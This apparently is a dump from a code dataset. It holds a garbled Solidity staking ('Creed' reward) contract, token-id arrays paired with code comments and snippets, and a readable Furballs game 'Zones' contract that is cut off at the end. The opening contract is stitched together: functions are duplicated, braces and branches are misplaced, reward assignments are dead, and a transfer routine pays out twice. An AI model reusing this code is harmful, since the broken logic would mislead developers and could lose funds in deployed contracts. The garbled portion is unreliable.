2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 creedReward = multiplier.mul(creedPerBlock).mul(pool.allocPoint).div(totalAllocPoint); creed.mint(devaddr, creedReward.div(10)); creed.mint(address(this), creedReward); pool.accCreedPerShare = pool.accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 creedReward = multiplier.mul(creedPerBlock).mul(pool.allocPoint).div(totalAllocPoint); creed.mint(devaddr, creedReward.div(10)); creed.mint(address(this), creedReward); pool.accCreedPerShare = pool.accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 creedReward = multiplier.mul(creedPerBlock).mul(pool.allocPoint).div(totalAllocPoint); creed.mint(devaddr, creedReward.div(10)); creed.mint(address(this), creedReward); pool.accCreedPerShare = pool.accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 creedReward = multiplier.mul(creedPerBlock).mul(pool.allocPoint).div(totalAllocPoint); creed.mint(devaddr, creedReward.div(10)); creed.mint(address(this), creedReward); pool.accCreedPerShare = pool.accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 creedReward = multiplier.mul(creedPerBlock).mul(pool.allocPoint).div(totalAllocPoint); creed.mint(devaddr, creedReward.div(10)); creed.mint(address(this), creedReward); pool.accCreedPerShare = pool.accCreedPerShare.add(creedReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } } else if(gapBlock < 30000) { } else if(gapBlock < 70000) { } else if(gapBlock < 150000) { } else if(gapBlock < 310000) { } else { function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCreedPerShare).div(1e12).sub(user.rewardDebt); safeCreedTransfer(msg.sender, pending); } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCreedPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCreedPerShare).div(1e12).sub(user.rewardDebt); safeCreedTransfer(msg.sender, pending); } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCreedPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCreedPerShare).div(1e12).sub(user.rewardDebt); safeCreedTransfer(msg.sender, pending); } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCreedPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCreedPerShare).div(1e12).sub(user.rewardDebt); safeCreedTransfer(msg.sender, pending); } if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCreedPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } } else if(gapBlock < 30000) { } else if(gapBlock < 70000) { } else if(gapBlock < 150000) { } else if(gapBlock < 310000) { } else { function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 pending = user.amount.mul(pool.accCreedPerShare).div(1e12).sub(user.rewardDebt); safeCreedTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCreedPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 pending = user.amount.mul(pool.accCreedPerShare).div(1e12).sub(user.rewardDebt); safeCreedTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCreedPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); if(startBlock > block.number){ uint256 gapBlock = block.number.sub(startBlock); if(gapBlock < 10000) { creedPerBlock = 20000000000000000000; creedPerBlock = 10000000000000000000; creedPerBlock = 5000000000000000000; creedPerBlock = 2500000000000000000; creedPerBlock = 1250000000000000000; creedPerBlock = 0; } } uint256 pending = user.amount.mul(pool.accCreedPerShare).div(1e12).sub(user.rewardDebt); safeCreedTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCreedPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } } else if(gapBlock < 30000) { } else if(gapBlock < 70000) { } else if(gapBlock < 150000) { } else if(gapBlock < 310000) { } else { function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } function safeCreedTransfer(address _to, uint256 _amount) internal { uint256 creedBal = creed.balanceOf(address(this)); if (_amount > creedBal) { creed.transfer(_to, creedBal); creed.transfer(_to, _amount); } } function safeCreedTransfer(address _to, uint256 _amount) internal { uint256 creedBal = creed.balanceOf(address(this)); if (_amount > creedBal) { creed.transfer(_to, creedBal); creed.transfer(_to, _amount); } } } else { function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
8,382,966
[ 1, 7786, 39, 580, 74, 353, 326, 4171, 434, 5799, 329, 18, 8264, 848, 1221, 5799, 329, 471, 3904, 353, 279, 284, 1826, 3058, 93, 18, 3609, 716, 518, 1807, 4953, 429, 471, 326, 3410, 341, 491, 87, 268, 2764, 409, 1481, 7212, 18, 1021, 23178, 903, 506, 906, 4193, 358, 279, 314, 1643, 82, 1359, 13706, 6835, 3647, 9666, 2056, 353, 18662, 715, 16859, 471, 326, 19833, 848, 2405, 358, 314, 1643, 82, 6174, 18, 21940, 9831, 6453, 518, 18, 670, 1306, 4095, 518, 1807, 7934, 17, 9156, 18, 611, 369, 324, 2656, 18, 3807, 434, 1517, 729, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 13453, 39, 580, 74, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 1958, 25003, 288, 203, 565, 289, 203, 203, 565, 1958, 8828, 966, 288, 203, 565, 289, 203, 203, 203, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 3423, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 512, 6592, 75, 2075, 1190, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 203, 565, 3885, 12, 203, 3639, 5799, 329, 1345, 389, 1793, 329, 16, 203, 3639, 1758, 389, 5206, 4793, 16, 203, 3639, 2254, 5034, 389, 1793, 329, 2173, 1768, 16, 203, 3639, 2254, 5034, 389, 1937, 1768, 16, 203, 3639, 2254, 5034, 389, 18688, 407, 1638, 1768, 203, 565, 5799, 329, 1345, 1071, 1519, 329, 31, 203, 565, 1758, 1071, 4461, 4793, 31, 203, 565, 2254, 5034, 1071, 324, 22889, 1638, 1768, 31, 203, 565, 2254, 5034, 1071, 1519, 329, 2173, 1768, 31, 203, 565, 2254, 5034, 1071, 5381, 605, 673, 3378, 67, 24683, 2053, 654, 273, 1728, 31, 203, 565, 6246, 2757, 639, 39, 580, 74, 1071, 30188, 31, 203, 565, 8828, 966, 8526, 1071, 2845, 966, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2874, 261, 2867, 516, 25003, 3719, 1071, 16753, 31, 203, 565, 2254, 2 ]
./full_match/5/0x541dAC6f3Ad5a516a54CC415871ec47830dBD810/sources/contracts/Contract.sol
Check if the funder already has a share certificate for this campaign Update the existing certificate Create and store the share certificate
function donateToCampaign(uint256 _id) public payable { uint256 amount = msg.value; require(amount > 0, "Donated amount must be more than zero"); Campaign storage campaign = campaigns[_id]; if (sent) { campaign.amountCollected = campaign.amountCollected + amount; require(campaign.amountCollected <= campaign.target,"Send only the mentioned amount not more"); campaign.donators.push(msg.sender); campaign.donations.push(amount); userDonations[msg.sender].push(_id); ShareCertificate[] storage funderCertificates = shareCertificates[ msg.sender ]; bool existingCertificate = false; for (uint256 i = 0; i < funderCertificates.length; i++) { ShareCertificate storage certificate = funderCertificates[i]; if (certificate.campaignId == _id) { certificate.amountFunded += amount; certificate.amountCollected += amount; existingCertificate = true; break; } } if (!existingCertificate) { ShareCertificate memory certificate = ShareCertificate({ funder: msg.sender, campaignId: _id, amountFunded: amount, redeemed: false, targetAmount: campaign.target, title: campaign.title, description: campaign.description, deadline: campaign.deadline, image: campaign.image, owner: campaign.owner, amountCollected: campaign.amountCollected }); funderCertificates.push(certificate); } } }
1,938,127
[ 1, 1564, 309, 326, 284, 9341, 1818, 711, 279, 7433, 4944, 364, 333, 8965, 2315, 326, 2062, 4944, 1788, 471, 1707, 326, 7433, 4944, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2727, 340, 774, 13432, 12, 11890, 5034, 389, 350, 13, 1071, 8843, 429, 288, 203, 3639, 2254, 5034, 3844, 273, 1234, 18, 1132, 31, 203, 3639, 2583, 12, 8949, 405, 374, 16, 315, 22293, 690, 3844, 1297, 506, 1898, 2353, 3634, 8863, 203, 203, 3639, 17820, 2502, 8965, 273, 8965, 87, 63, 67, 350, 15533, 203, 203, 203, 3639, 309, 261, 7569, 13, 288, 203, 2398, 203, 2398, 203, 5411, 8965, 18, 8949, 10808, 329, 273, 8965, 18, 8949, 10808, 329, 397, 3844, 31, 203, 5411, 2583, 12, 14608, 18, 8949, 10808, 329, 1648, 8965, 18, 3299, 10837, 3826, 1338, 326, 27635, 3844, 486, 1898, 8863, 203, 5411, 8965, 18, 19752, 3062, 18, 6206, 12, 3576, 18, 15330, 1769, 203, 5411, 8965, 18, 19752, 1012, 18, 6206, 12, 8949, 1769, 203, 5411, 729, 22293, 1012, 63, 3576, 18, 15330, 8009, 6206, 24899, 350, 1769, 203, 203, 5411, 25805, 4719, 8526, 2502, 284, 9341, 14133, 273, 7433, 14133, 63, 203, 7734, 1234, 18, 15330, 203, 5411, 308, 31, 203, 5411, 1426, 2062, 4719, 273, 629, 31, 203, 203, 5411, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 284, 9341, 14133, 18, 2469, 31, 277, 27245, 288, 203, 7734, 25805, 4719, 2502, 4944, 273, 284, 9341, 14133, 63, 77, 15533, 203, 7734, 309, 261, 14108, 18, 14608, 548, 422, 389, 350, 13, 288, 203, 10792, 4944, 18, 8949, 42, 12254, 1011, 3844, 31, 203, 10792, 4944, 18, 8949, 10808, 329, 1011, 3844, 31, 203, 10792, 2062, 4719, 273, 638, 31, 203, 10792, 2 ]
./full_match/1/0xb48d99ecc27c44530106e30821a456454719D613/sources/browser/Permissions.sol
creator address, owner of the created tokens
_creator = 0xf7B2Be907A217e9F564a2B47514526Dc0a2066dd;
3,009,818
[ 1, 20394, 1758, 16, 3410, 434, 326, 2522, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 20394, 273, 374, 5841, 27, 38, 22, 1919, 29, 8642, 37, 22, 4033, 73, 29, 42, 25, 1105, 69, 22, 38, 24, 5877, 30379, 5558, 40, 71, 20, 69, 3462, 6028, 449, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../l2/L2Lib.sol"; import "../utils/FurLib.sol"; import "../utils/FurProxy.sol"; import "../utils/MetaData.sol"; import "./ZoneDefinition.sol"; /// @title Zones /// @author LFG Gaming LLC /// @notice Zone management (overrides) for Furballs contract Zones is FurProxy { // Tightly packed last-reward data mapping(uint256 => FurLib.ZoneReward) public zoneRewards; // Zone Number => Zone mapping(uint32 => IZone) public zoneMap; constructor(address furballsAddress) FurProxy(furballsAddress) { } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice The new instant function for play + move function play(FurLib.SnackMove[] calldata snackMoves, uint32 zone) external { furballs.engine().snackAndMove(snackMoves, zone, msg.sender); } /// @notice Check if Timekeeper is enabled for a given tokenId /// @dev TK=enabled by defauld (mode == 0); other modes (?); bools are expensive to store thus modes function isTimekeeperEnabled(uint256 tokenId) external view returns(bool) { return zoneRewards[tokenId].mode != 1; } /// @notice Allow players to disable TK on their furballs function disableTimekeeper(uint256[] calldata tokenIds) external { bool isJob = _allowedJob(msg.sender); for (uint i=0; i<tokenIds.length; i++) { require(isJob || furballs.ownerOf(tokenIds[i]) == msg.sender, "OWN"); require(zoneRewards[tokenIds[i]].mode == 0, "MODE"); zoneRewards[tokenIds[i]].mode = 1; zoneRewards[tokenIds[i]].timestamp = uint64(block.timestamp); } } /// @notice Allow players to disable TK on their furballs /// @dev timestamp is not set because TK can read the furball last action, /// so it preserves more data and reduces gas to not keep track! function enableTimekeeper(uint256[] calldata tokenIds) external { bool isJob = _allowedJob(msg.sender); for (uint i=0; i<tokenIds.length; i++) { require(isJob || furballs.ownerOf(tokenIds[i]) == msg.sender, "OWN"); require(zoneRewards[tokenIds[i]].mode != 0, "MODE"); zoneRewards[tokenIds[i]].mode = 0; } } /// @notice Get the full reward struct function getZoneReward(uint256 tokenId) external view returns(FurLib.ZoneReward memory) { return zoneRewards[tokenId]; } /// @notice Pre-computed rarity for Furballs function getFurballZoneReward(uint32 furballNum) external view returns(FurLib.ZoneReward memory) { return zoneRewards[furballs.tokenByIndex(furballNum - 1)]; } /// @notice Get contract address for a zone definition function getZoneAddress(uint32 zoneNum) external view returns(address) { return address(zoneMap[zoneNum]); } /// @notice Public display (OpenSea, etc.) function getName(uint32 zoneNum) public view returns(string memory) { return _zoneName(zoneNum); } /// @notice Zones can have unique background SVGs function render(uint256 tokenId) external view returns(string memory) { uint zoneNum = zoneRewards[tokenId].zoneOffset; if (zoneNum == 0) return ""; IZone zone = zoneMap[uint32(zoneNum - 1)]; return address(zone) == address(0) ? "" : zone.background(); } /// @notice OpenSea metadata function attributesMetadata( FurLib.FurballStats calldata stats, uint256 tokenId, uint32 maxExperience ) external view returns(bytes memory) { FurLib.Furball memory furball = stats.definition; uint level = furball.level; uint32 zoneNum = L2Lib.getZoneId(zoneRewards[tokenId].zoneOffset, furball.zone); if (zoneNum < 0x10000) { // When in explore, we check if TK has accrued more experience for this furball FurLib.ZoneReward memory last = zoneRewards[tokenId]; if (last.timestamp > furball.last) { level = FurLib.expToLevel(furball.experience + zoneRewards[tokenId].experience, maxExperience); } } return abi.encodePacked( MetaData.traitValue("Level", level), MetaData.trait("Zone", _zoneName(zoneNum)) ); } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice Pre-compute some stats function computeStats(uint32 furballNum, uint16 baseRarity) external gameAdmin { _computeStats(furballNum, baseRarity); } /// @notice Update the timestamps on Furballs function timestampModes( uint256[] calldata tokenIds, uint64[] calldata lastTimestamps, uint8[] calldata modes ) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].timestamp = lastTimestamps[i]; zoneRewards[tokenIds[i]].mode = modes[i]; } } /// @notice Update the modes function setModes( uint256[] calldata tokenIds, uint8[] calldata modes ) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].mode = modes[i]; } } /// @notice Update the timestamps on Furballs function setTimestamps( uint256[] calldata tokenIds, uint64[] calldata lastTimestamps ) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].timestamp = lastTimestamps[i]; } } /// @notice When a furball earns FUR via Timekeeper function addFur(uint256 tokenId, uint32 fur) external gameAdmin { zoneRewards[tokenId].timestamp = uint64(block.timestamp); zoneRewards[tokenId].fur += fur; } /// @notice When a furball earns EXP via Timekeeper function addExp(uint256 tokenId, uint32 exp) external gameAdmin { zoneRewards[tokenId].timestamp = uint64(block.timestamp); zoneRewards[tokenId].experience += exp; } /// @notice Bulk EXP option for efficiency function addExps(uint256[] calldata tokenIds, uint32[] calldata exps) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].timestamp = uint64(block.timestamp); zoneRewards[tokenIds[i]].experience = exps[i]; } } /// @notice Define the attributes of a zone function defineZone(address zoneAddr) external gameAdmin { IZone zone = IZone(zoneAddr); zoneMap[uint32(zone.number())] = zone; } /// @notice Hook for zone change function enterZone(uint256 tokenId, uint32 zone) external gameAdmin { _enterZone(tokenId, zone); } /// @notice Allow TK to override a zone function overrideZone(uint256[] calldata tokenIds, uint32 zone) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { _enterZone(tokenIds[i], zone); } } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- function _computeStats(uint32 furballNum, uint16 rarity) internal { uint256 tokenId = furballs.tokenByIndex(furballNum - 1); if (uint8(tokenId) == 0) { if (FurLib.extractBytes(tokenId, 5, 1) == 6) rarity += 10; // Furdenza body if (FurLib.extractBytes(tokenId, 11, 1) == 12) rarity += 10; // Furdenza hoodie } zoneRewards[tokenId].rarity = rarity; } /// @notice When a furball changes zone, we need to clear the zoneRewards timestamp function _enterZone(uint256 tokenId, uint32 zoneNum) internal { if (zoneRewards[tokenId].timestamp != 0) { zoneRewards[tokenId].timestamp = 0; zoneRewards[tokenId].experience = 0; zoneRewards[tokenId].fur = 0; } zoneRewards[tokenId].zoneOffset = (zoneNum + 1); if (zoneNum == 0 || zoneNum == 0x10000) return; // Additional requirement logic may occur in the zone IZone zone = zoneMap[zoneNum]; if (address(zone) != address(0)) zone.enterZone(tokenId); } /// @notice Public display (OpenSea, etc.) function _zoneName(uint32 zoneNum) internal view returns(string memory) { if (zoneNum == 0) return "Explore"; if (zoneNum == 0x10000) return "Battle"; IZone zone = zoneMap[zoneNum]; return address(zone) == address(0) ? "?" : zone.name(); } function _allowedJob(address sender) internal view returns(bool) { return sender == furballs.engine().l2Proxy() || _permissionCheck(sender) >= FurLib.PERMISSION_ADMIN; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "../utils/FurLib.sol"; /// @title L2Lib /// @author LFG Gaming LLC /// @notice Utilities for L2 library L2Lib { // Payload for EIP-712 signature struct OAuthToken { address owner; uint32 access; uint64 deadline; 